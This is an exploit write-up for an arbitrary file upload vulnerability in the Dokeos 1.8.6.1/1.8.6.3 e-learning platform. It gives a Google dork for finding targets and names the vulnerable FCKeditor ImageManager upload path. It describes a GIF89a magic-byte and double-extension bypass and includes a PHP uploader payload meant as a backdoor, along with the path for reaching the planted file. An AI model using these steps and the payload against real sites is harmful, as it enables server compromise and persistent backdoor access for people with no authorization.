Dokeos 1.8.6.1 / 1.8.6.3 Arbitrary File Upload

2019.09.22
Credit: Sohel Yousef
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: Dokeos 1.8.6.3 and 1.8.6.1- Arbitrary File Upload # Google Dork: "Plateforme Dokeos 1.8.6.3 " or 1.8.6.1 # Date: 17/09/2019 # Exploit Author: Sohel Yousef Jellyfish security team # Vendor Homepage: https://www.dokeos.com/ # Software Link: https://www.dokeos.com/ # Version: 1.8.6.3 - 1.8.6.1 # Tested on: kali linux # CVE : N/A # go to this dir to upload your file dokeos 1.8.6.3/main/inc/lib/fckeditor/editor/plugins/ImageManager/manager.php # you can insert and upload files rename your file to bel like backdoor.php.gif # and add this GIF89;aGIF89;aGIF89;a before <?PHP # to be like this for examlple GIF89;aGIF89;aGIF89;a<html> <head> <title>PHP Test</title> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="upload file" name="submit"> </form> </head> <body> <?php echo '<p>FILE UPLOAD</p><br>'; $tgt_dir = "uploads/"; $tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']); echo "<br>TARGET FILE= ".$tgt_file; //$filename = $_FILES['fileToUpload']['name']; echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"]; if(isset($_POST['submit'])) { if(file_exists("uploads/".$_FILES["fileToUpload"]["name"])) { echo "<br>file exists, try with another name"; } else { echo "<br>STARTING UPLOAD PROCESS<br>"; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $tgt_file)) { echo "<br>File UPLOADED:- ".$tgt_file; } else { echo "<br>ERROR WHILE UPLOADING FILE<br>"; } } } ?> </body> </html> # upload the file and you can find your file here on this image browser main/inc/lib/fckeditor/editor/plugins/ImageManager/images.php # click and view the image / file you and will be here ---> dokeos/main/upload/users/0/my_files/.thumbs/.yourfile.php.gif # remove .thumbs. to be like this /main/upload/users/0/my_files/yourfile.php.gif # and your file are ready ################################################################################################


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